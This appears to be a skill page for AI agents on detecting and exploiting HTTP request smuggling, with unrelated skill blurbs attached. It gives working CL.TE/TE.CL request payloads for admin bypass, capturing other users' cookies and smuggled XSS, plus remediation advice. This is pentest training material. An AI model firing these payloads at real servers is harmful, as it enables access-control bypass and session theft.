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Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
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Use when retiring old logic, collapsing duplicate owners, removing fallbacks, or touching schema, persistence, or source-of-truth boundaries while deciding whether to delete old paths, retain compatibility, or stop for confirmation.
Use when defining new features, product behavior, UI/component design, architecture choices, contract changes, or ambiguous medium/high-complexity work before implementation.
Use when the user asks for caveman mode, fewer tokens, brief responses, compressed communication, or otherwise explicitly requests a much shorter answer.
SOC 職業分類に基づく
SKILL.md を表示中
| name | http-req-smggln |
| description | Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","request-smuggling","http-desync","web-security","burpsuite","owasp"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Determine the proxy/server chain and HTTP parsing characteristics.
# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"
# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app
# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1
# Check if Transfer-Encoding is supported
curl -s -X POST \
-H "Transfer-Encoding: chunked" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "0\r\n\r\n" \
-w
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request
# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
# If response is delayed (~5-10 seconds), CL.TE is likely
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
# Burp Repeater - disable "Update Content-Length"
POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors
Run automated scanners to detect smuggling variants.
# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST
# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results
# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
"https://target.example.com/admin"
# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected
Leverage confirmed smuggling for practical attacks.
# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy
# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.example.com
Foo: x
# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly
# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location
POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
body=
# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers
# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response
POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x
# Next user receives the XSS response instead of their expected response
Assess HTTP/2 specific smuggling vectors.
# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't
# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content
# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header
# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2
# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests
# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls
| Concept | Description |
|---|---|
| CL.TE Smuggling | Front-end uses Content-Length, back-end uses Transfer-Encoding |
| TE.CL Smuggling | Front-end uses Transfer-Encoding, back-end uses Content-Length |
| TE.TE Smuggling | Both use Transfer-Encoding but parse obfuscated TE headers differently |
| HTTP Desync | State where front-end and back-end disagree on request boundaries |
| Request Splitting | One HTTP request is interpreted as two separate requests |
| Connection Poisoning | Smuggled data affects the next request on the same TCP connection |
| H2.CL Smuggling | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Manual request crafting with disabled auto Content-Length |
| HTTP Request Smuggler (Burp) | Automated smuggling detection extension by James Kettle |
| smuggler.py | Python-based automated HTTP request smuggling scanner |
| h2cSmuggler | HTTP/2 cleartext smuggling tool from Bishop Fox |
| Turbo Intruder | High-speed request engine for time-sensitive smuggling tests |
| curl | Manual HTTP request crafting with precise byte control |
The front-end proxy blocks /admin requests. A CL.TE smuggling attack prepends GET /admin to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
## HTTP Request Smuggling Finding
**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration
### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin
### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request
### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |
### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding